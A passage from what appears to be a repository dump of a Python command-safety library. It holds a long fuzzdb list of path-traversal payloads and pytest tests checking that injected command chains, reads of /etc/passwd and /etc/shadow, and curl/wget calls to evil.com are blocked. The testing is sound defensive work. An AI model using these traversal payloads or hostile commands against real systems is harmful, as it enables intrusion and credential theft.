//..\/..\/..\/..\/..\/..\/..\{FILE} 284 | //..\/..\/..\/..\/..\/..\{FILE} 285 | //..\/..\/..\/..\/..\{FILE} 286 | //..\/..\/..\/..\{FILE} 287 | //..\/..\/..\{FILE} 288 | //..\/..\{FILE} 289 | //..\{FILE} 290 | /.//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE} 291 | /.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE} 292 | /.//..//.//..//.//..//.//..//.//..//.//..//{FILE} 293 | /.//..//.//..//.//..//.//..//.//..//{FILE} 294 | /.//..//.//..//.//..//.//..//{FILE} 295 | /.//..//.//..//.//..//{FILE} 296 | /.//..//.//..//{FILE} 297 | /.//..//{FILE} 298 | /././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE} 299 | /././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE} 300 | /././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE} 301 | /././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE} 302 | /././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE} 303 | /././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE} 304 | /././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE} 305 | /././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE} 306 | /./.././.././.././.././.././.././.././../{FILE} 307 | /./.././.././.././.././.././.././../{FILE} 308 | /./.././.././.././.././.././../{FILE} 309 | /./.././.././.././.././../{FILE} 310 | /./.././.././.././../{FILE} 311 | /./.././.././../{FILE} 312 | /./.././../{FILE} 313 | /./../{FILE} 314 | /./\/././\/././\/././\/././\/././\/././\/././\/./{FILE} 315 | /./\/././\/././\/././\/././\/././\/././\/./{FILE} 316 | /./\/././\/././\/././\/././\/././\/./{FILE} 317 | /./\/././\/././\/././\/././\/./{FILE} 318 | /./\/././\/././\/././\/./{FILE} 319 | /./\/././\/././\/./{FILE} 320 | /./\/././\/./{FILE} 321 | /./\/./{FILE} 322 | /..///..///..///..///..///..///..///..///{FILE} 323 | /..///..///..///..///..///..///..///{FILE} 324 | /..///..///..///..///..///..///{FILE} 325 | /..///..///..///..///..///{FILE} 326 | /..///..///..///..///{FILE} 327 | /..///..///..///{FILE} 328 | /..///..///{FILE} 329 | /..//..//..//..//..//..//..//..//{FILE} 330 | /..//..//..//..//..//..//..//{FILE} 331 | /..//..//..//..//..//..//{FILE} 332 | /..//..//..//..//..//{FILE} 333 | /..//..//..//..//{FILE} 334 | /..//..//..//{FILE} 335 | /..//..//{FILE} 336 | /..//{FILE} 337 | /../..///{FILE} 338 | /../..//..///{FILE} 339 | /../..//../..///{FILE} 340 | /../..//../..//..///{FILE} 341 | /../..//../..//../..///{FILE} 342 | /../..//../..//../..//..///{FILE} 343 | /../..//../..//../..//../..///{FILE} 344 | /../..//../..//../..//../..//{FILE} 345 | /../..//../..//../..//../{FILE} 346 | /../..//../..//../..//{FILE} 347 | /../..//../..//../{FILE} 348 | /../..//../..//{FILE} 349 | /../..//../{FILE} 350 | /../..//{FILE} 351 | /.../.../.../.../.../.../.../.../{FILE} 352 | /.../.../.../.../.../.../.../{FILE} 353 | /.../.../.../.../.../.../{FILE} 354 | /.../.../.../.../.../{FILE} 355 | /.../.../.../.../{FILE} 356 | /.../.../.../{FILE} 357 | /.../.../{FILE} 358 | /.../{FILE} 359 | /..../..../..../..../..../..../..../..../{FILE} 360 | /..../..../..../..../..../..../..../{FILE} 361 | /..../..../..../..../..../..../{FILE} 362 | /..../..../..../..../..../{FILE} 363 | /..../..../..../..../{FILE} 364 | /..../..../..../{FILE} 365 | /..../..../{FILE} 366 | /..../{FILE} 367 | /........................................................................../../../../../../../../{FILE} 368 | /........................................................................../../../../../../../{FILE} 369 | /........................................................................../../../../../../{FILE} 370 | /........................................................................../../../../../{FILE} 371 | /........................................................................../../../../{FILE} 372 | /........................................................................../../../{FILE} 373 | /........................................................................../../{FILE} 374 | /........................................................................../{FILE} 375 | /..........................................................................\..\..\..\..\..\..\..\{FILE} 376 | /..........................................................................\..\..\..\..\..\..\{FILE} 377 | /..........................................................................\..\..\..\..\..\{FILE} 378 | /..........................................................................\..\..\..\..\{FILE} 379 | /..........................................................................\..\..\..\{FILE} 380 | /..........................................................................\..\..\{FILE} 381 | /..........................................................................\..\{FILE} 382 | /..........................................................................\{FILE} 383 | /....\....\....\....\....\....\....\....\{FILE} 384 | /....\....\....\....\....\....\....\{FILE} 385 | /....\....\....\....\....\....\{FILE} 386 | /....\....\....\....\....\{FILE} 387 | /....\....\....\....\{FILE} 388 | /....\....\....\{FILE} 389 | /....\....\{FILE} 390 | /....\{FILE} 391 | /...\...\...\...\...\...\...\...\{FILE} 392 | /...\...\...\...\...\...\...\{FILE} 393 | /...\...\...\...\...\...\{FILE} 394 | /...\...\...\...\...\{FILE} 395 | /...\...\...\...\{FILE} 396 | /...\...\...\{FILE} 397 | /...\...\{FILE} 398 | /...\{FILE} 399 | /..\..\\..\..\\..\..\\..\..\\{FILE} 400 | /..\..\\..\..\\..\..\\..\..\\\{FILE} 401 | /..\..\\..\..\\..\..\\..\{FILE} 402 | /..\..\\..\..\\..\..\\..\\\{FILE} 403 | /..\..\\..\..\\..\..\\{FILE} 404 | /..\..\\..\..\\..\..\\\{FILE} 405 | /..\..\\..\..\\..\{FILE} 406 | /..\..\\..\..\\..\\\{FILE} 407 | /..\..\\..\..\\{FILE} 408 | /..\..\\..\..\\\{FILE} 409 | /..\..\\..\{FILE} 410 | /..\..\\..\\\{FILE} 411 | /..\..\\{FILE} 412 | /..\..\\\{FILE} 413 | /..\\..\\..\\..\\..\\..\\..\\..\\{FILE} 414 | /..\\..\\..\\..\\..\\..\\..\\{FILE} 415 | /..\\..\\..\\..\\..\\..\\{FILE} 416 | /..\\..\\..\\..\\..\\{FILE} 417 | /..\\..\\..\\..\\{FILE} 418 | /..\\..\\..\\{FILE} 419 | /..\\..\\{FILE} 420 | /..\\{FILE} 421 | /..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE} 422 | /..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE} 423 | /..\\\..\\\..\\\..\\\..\\\..\\\{FILE} 424 | /..\\\..\\\..\\\..\\\..\\\{FILE} 425 | /..\\\..\\\..\\\..\\\{FILE} 426 | /..\\\..\\\..\\\{FILE} 427 | /..\\\..\\\{FILE} 428 | /.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE} 429 | /.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE} 430 | /.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE} 431 | /.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE} 432 | /.\/\.\.\/\.\.\/\.\.\/\.\{FILE} 433 | /.\/\.\.\/\.\.\/\.\{FILE} 434 | /.\/\.\.\/\.\{FILE} 435 | /.\/\.\{FILE} 436 | /.\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE} 437 | /.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE} 438 | /.\..\.\..\.\..\.\..\.\..\.\..\{FILE} 439 | /.\..\.\..\.\..\.\..\.\..\{FILE} 440 | /.\..\.\..\.\..\.\..\{FILE} 441 | /.\..\.\..\.\..\{FILE} 442 | /.\..\.\..\{FILE} 443 | /.\..\{FILE} 444 | /.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE} 445 | /.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE} 446 | /.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE} 447 | /.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE} 448 | /.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE} 449 | /.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE} 450 | /.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE} 451 | /.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE} 452 | /.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE} 453 | /.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE} 454 | /.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE} 455 | /.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE} 456 | /.\\..\\.\\..\\.\\..\\.\\..\\{FILE} 457 | /.\\..\\.\\..\\.\\..\\{FILE} 458 | /.\\..\\.\\..\\{FILE} 459 | /.\\..\\{FILE} 460 | /\../{FILE} 461 | /\../\../{FILE} 462 | /\../\../\../{FILE} 463 | /\../\../\../\../{FILE} 464 | /\../\../\../\../\../{FILE} 465 | /\../\../\../\../\../\../{FILE} 466 | /\../\../\../\../\../\../\../{FILE} 467 | /\../\../\../\../\../\../\../\../{FILE} 468 | /..%u2215{FILE} 469 | /..%u2215..%u2215{FILE} 470 | /..%u2215..%u2215..%u2215{FILE} 471 | /..%u2215..%u2215..%u2215..%u2215{FILE} 472 | /..%u2215..%u2215..%u2215..%u2215..%u2215{FILE} 473 | /..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE} 474 | /..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE} 475 | /..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE} 476 | /..%u2216{FILE} 477 | /..%u2216..%u2216{FILE} 478 | /..%u2216..%u2216..%u2216{FILE} 479 | /..%u2216..%u2216..%u2216..%u2216{FILE} 480 | /..%u2216..%u2216..%u2216..%u2216..%u2216{FILE} 481 | /..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE} 482 | /..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE} 483 | /..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE} 484 | /..%uEFC8{FILE} 485 | /..%uEFC8..%uEFC8{FILE} 486 | /..%uEFC8..%uEFC8..%uEFC8{FILE} 487 | /..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} 488 | /..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} 489 | /..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} 490 | /..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} 491 | /..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE} 492 | /..%uF025{FILE} 493 | /..%uF025..%uF025{FILE} 494 | /..%uF025..%uF025..%uF025{FILE} 495 | /..%uF025..%uF025..%uF025..%uF025{FILE} 496 | /..%uF025..%uF025..%uF025..%uF025..%uF025{FILE} 497 | /..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE} 498 | /..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE} 499 | /..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE} 500 | /%uff0e%uff0e/{FILE} 501 | /%uff0e%uff0e\{FILE} 502 | /%uff0e%uff0e%u2215{FILE} 503 | /%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} 504 | /%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} 505 | /%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} 506 | /%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} 507 | /%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} 508 | /%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} 509 | /%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE} 510 | /%uff0e%uff0e%u2216{FILE} 511 | /%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} 512 | /%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} 513 | /%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} 514 | /%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} 515 | /%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} 516 | /%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} 517 | /%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE} 518 | /%uff0e%uff0e/%uff0e%uff0e/{FILE} 519 | /%uff0e%uff0e\%uff0e%uff0e\{FILE} 520 | /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} 521 | /%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} 522 | /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} 523 | /%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} 524 | /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} 525 | /%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} 526 | /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} 527 | /%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} 528 | /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} 529 | /%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} 530 | /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE} 531 | /%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE} 532 | -------------------------------------------------------------------------------- /tests/safe_command/test_api.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | 3 | import mock 4 | import pytest 5 | 6 | from security import safe_command 7 | from security.exceptions import SecurityException 8 | 9 | 10 | @pytest.mark.parametrize("original_func", [subprocess.run, subprocess.call]) 11 | class TestSafeCommandApi: 12 | def _assert_equal_result(self, original_func, expected_result, safe_api_result): 13 | assert type(expected_result) == type(safe_api_result) 14 | if original_func.__name__ == "call": 15 | assert expected_result == safe_api_result 16 | else: 17 | assert expected_result.returncode == safe_api_result.returncode 18 | 19 | def test_api_returns_same_result_lst_command(self, original_func): 20 | command = ["echo", "hello"] 21 | expected_result = original_func(command) 22 | safe_api_result = safe_command.run(original_func, command) 23 | self._assert_equal_result(original_func, expected_result, safe_api_result) 24 | 25 | def test_api_returns_same_result_str_command_shell(self, original_func): 26 | command = "echo hello" 27 | expected_result = original_func(command, shell=True) 28 | safe_api_result = safe_command.run(original_func, command, shell=True) 29 | self._assert_equal_result(original_func, expected_result, safe_api_result) 30 | 31 | @pytest.mark.parametrize("command", ["", []]) 32 | def test_empty_command_runs(self, command, original_func): 33 | with pytest.raises((PermissionError, IndexError)): 34 | safe_command.run(original_func, command) 35 | 36 | @pytest.mark.parametrize( 37 | "command", 38 | [ 39 | "cat ///etc//passwd", 40 | "cat /etc/passwd", 41 | "cat ../../../../../../../../../../../../../../../../../../../../../../../../../../..//etc/passwd", 42 | "ls /etc/shadow", 43 | "touch /etc/group", 44 | "tee /etc/gshadow", 45 | ], 46 | ) 47 | def test_blocks_sensitive_files(self, command, original_func): 48 | with pytest.raises(SecurityException) as err: 49 | safe_command.run(original_func, command) 50 | assert err.value.args[0].startswith("Disallowed access to sensitive file") 51 | 52 | @mock.patch("security.safe_command.api._call_original") 53 | def test_no_restrictions(self, mock_call_original, original_func): 54 | safe_command.run(original_func, "cat /etc/passwd", restrictions=[]) 55 | mock_call_original.assert_called() 56 | 57 | @pytest.mark.parametrize( 58 | "command", 59 | [ 60 | "foo&& cat test.txt #", 61 | "foo ; ls", 62 | "foo & ls", 63 | "foo | ls", 64 | "foo | ls & foo ; bar", 65 | "foo ;ls", 66 | "ls # this isn't fine\ncat /foo", 67 | "echo hi | write_to_file", 68 | ], 69 | ) 70 | def test_blocks_command_chaining(self, command, original_func): 71 | with pytest.raises(SecurityException) as err: 72 | safe_command.run(original_func, command) 73 | assert err.value.args[0].startswith("Multiple commands not allowed") 74 | 75 | @pytest.mark.parametrize( 76 | "command", 77 | ["rpm -i badware", "curl http://evil.com/", "wget http://evil.com/"], 78 | ) 79 | def test_blocks_banned_exc(self, command, original_func): 80 | with pytest.raises(SecurityException) as err: 81 | safe_command.run( 82 | original_func, 83 | command, 84 | restrictions=["PREVENT_COMMON_EXPLOIT_EXECUTABLES"], 85 | ) 86 | assert err.value.args[0].startswith("Disallowed command") 87 | -------------------------------------------------------------------------------- /tests/safe_command/test_injection.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from os import getenv, mkfifo, remove, symlink 3 | from pathlib import Path 4 | from shutil import which 5 | 6 | import pytest 7 | 8 | from security import safe_command 9 | from security.exceptions import SecurityException 10 | from security.safe_command.api import ( 11 | _parse_command, 12 | _resolve_paths_in_parsed_command, 13 | _shell_expand, 14 | ) 15 | 16 | with (Path(__file__).parent / "fuzzdb" / "command-injection-template.txt").open() as f: 17 | FUZZDB_OS_COMMAND_INJECTION_PAYLOADS = [ 18 | line.replace("\\n", "\n").replace("\\'", "'")[:-1] for line in f 19 | ][ 20 | 1: 21 | ] # Remove newline from the end without modifying payloads and handle escapes 22 | with ( 23 | Path(__file__).parent / "fuzzdb" / "traversals-8-deep-exotic-encoding.txt" 24 | ).open() as f: 25 | FUZZDB_PATH_TRAVERSAL_PAYLOADS = [ 26 | line.replace("\\n", "\n").replace("\\'", "'")[:-1] for line in f 27 | ][1:] 28 | 29 | 30 | @pytest.fixture 31 | def setup_teardown(tmpdir): 32 | # Working directory is the tmpdir 33 | wd = Path(tmpdir) 34 | wd.mkdir(exist_ok=True) 35 | 36 | # Create some files and directories to use in the tests 37 | testtxt = wd / "test.txt" 38 | testtxt.write_text("USERDATA1\nUSERDATA2\nUSERDATA3\n") 39 | test2txt = wd / "test2.txt" 40 | test2txt.write_text("USERDATA4\nUSERDATA5\nUSERDATA6\n") 41 | rglob_testdir = wd / "rglob_testdir" 42 | rglob_testdir.mkdir() 43 | rglob_testfile = rglob_testdir / "rglob_testfile.txt" 44 | rglob_testfile.touch() 45 | space_in_name = wd / "space in name.txt" 46 | space_in_name.touch() 47 | 48 | testtxt.touch() 49 | test2txt.touch() 50 | cwd_testfile = Path("./cwdtest.txt").resolve() 51 | cwd_testfile.touch() 52 | fifo_testfile = (wd / "fifo_testfile").resolve() 53 | mkfifo(fifo_testfile) 54 | symlink_testfile = (wd / "symlink_testfile").resolve() 55 | symlink( 56 | cwd_testfile, symlink_testfile 57 | ) # Target of symlink_testfile is cwd_testfile.txt 58 | passwd = Path("/etc/passwd").resolve() 59 | sudoers = Path("/etc/sudoers").resolve() 60 | # Get Path objects for the test commands 61 | cat, echo, grep, nc, curl, sh, bash = map( 62 | lambda cmd: Path(which(cmd) or f"/usr/bin/{cmd}"), 63 | ["cat", "echo", "grep", "nc.openbsd", "curl", "sh", "bash"], 64 | ) 65 | testpaths = { 66 | "wd": wd, 67 | "test.txt": testtxt, 68 | "test2.txt": test2txt, 69 | "rglob_testdir": rglob_testdir, 70 | "rglob_testfile": rglob_testfile, 71 | "space_in_name": space_in_name, 72 | "cwd_testfile": cwd_testfile, 73 | "fifo_testfile": fifo_testfile, 74 | "symlink_testfile": symlink_testfile, 75 | "passwd": passwd, 76 | "sudoers": sudoers, 77 | "cat": cat, 78 | "echo": echo, 79 | "grep": grep, 80 | "nc": nc, 81 | "curl": curl, 82 | "sh": sh, 83 | "bash": bash, 84 | } 85 | yield testpaths 86 | remove( 87 | cwd_testfile 88 | ) # Remove the current working directory test file since it is not in tmpdir 89 | 90 | 91 | def insert_testpaths(command, testpaths): 92 | """Replace placeholders in the command or expected result with the test paths""" 93 | if isinstance(command, str): 94 | for k, v in testpaths.items(): 95 | command = command.replace(f"{{{k}}}", str(v)) 96 | elif isinstance(command, list): 97 | for i, cmd_part in enumerate(command): 98 | command[i] = insert_testpaths(cmd_part, testpaths) 99 | return command 100 | 101 | 102 | class TestSafeCommandInternals: 103 | @pytest.mark.parametrize( 104 | "str_cmd, list_cmd, expected_parsed_command", 105 | [ 106 | ("whoami", ["whoami"], ["whoami"]), 107 | ("ls -l", ["ls", "-l"], ["ls", "-l"]), 108 | ("ls -l -a", ["ls", "-l", "-a"], ["ls", "-l", "-a"]), 109 | ( 110 | "grep 'test' 'test.txt'", 111 | ["grep", "'test'", "'test.txt'"], 112 | ["grep", "test", "test.txt"], 113 | ), 114 | ( 115 | "grep test test.txt", 116 | ["grep", "test", "test.txt"], 117 | ["grep", "test", "test.txt"], 118 | ), 119 | ( 120 | "grep -e 'test test' 'test.txt'", 121 | ["grep", "-e", "'test test'", "'test.txt'"], 122 | ["grep", "-e", "test test", "test", "test", "test.txt"], 123 | ), 124 | ( 125 | "echo 'test1 test2 test3' > test.txt", 126 | ["echo", "'test1 test2 test3'", ">", "test.txt"], 127 | [ 128 | "echo", 129 | "test1 test2 test3", 130 | "test1", 131 | "test2", 132 | "test3", 133 | ">", 134 | "test.txt", 135 | ], 136 | ), 137 | ( 138 | 'echo "test1 test2 test3" > test.txt', 139 | ["echo", '"test1 test2 test3"', ">", "test.txt"], 140 | [ 141 | "echo", 142 | "test1 test2 test3", 143 | "test1", 144 | "test2", 145 | "test3", 146 | ">", 147 | "test.txt", 148 | ], 149 | ), 150 | ( 151 | "echo test1 test2 test3 > test.txt", 152 | ["echo", "test1", "test2", "test3", ">", "test.txt"], 153 | ["echo", "test1", "test2", "test3", ">", "test.txt"], 154 | ), 155 | ], 156 | ) 157 | def test_parse_command( 158 | self, str_cmd, list_cmd, expected_parsed_command, setup_teardown 159 | ): 160 | expanded_str_cmd, parsed_str_cmd = _parse_command(str_cmd) 161 | expanded_list_cmd, parsed_list_cmd = _parse_command(list_cmd) 162 | assert expanded_str_cmd == expanded_list_cmd 163 | assert parsed_str_cmd == parsed_list_cmd == expected_parsed_command 164 | 165 | @pytest.mark.parametrize( 166 | "command, expected_paths", 167 | [ 168 | ("echo HELLO", {"echo"}), 169 | ("cat cwdtest.txt", {"cat", "cwd_testfile"}), 170 | ("cat ./cwdtest.txt", {"cat", "cwd_testfile"}), 171 | ("cat cwd*.txt", {"cat", "cwd_testfile"}), 172 | ("cat {test.txt}", {"cat", "test.txt"}), 173 | ("cat '{test.txt}' ", {"cat", "test.txt"}), 174 | ('cat "{test.txt}" ', {"cat", "test.txt"}), 175 | ("cat {test.txt} {test2.txt}", {"cat", "test.txt", "test2.txt"}), 176 | # Check globbing and multiple slashes 177 | ("cat {wd}/*t.txt {wd}/test?.txt", {"cat", "test.txt", "test2.txt"}), 178 | ("cat {wd}///////*t.txt", {"cat", "test.txt"}), 179 | # Check globbing in executable path 180 | # 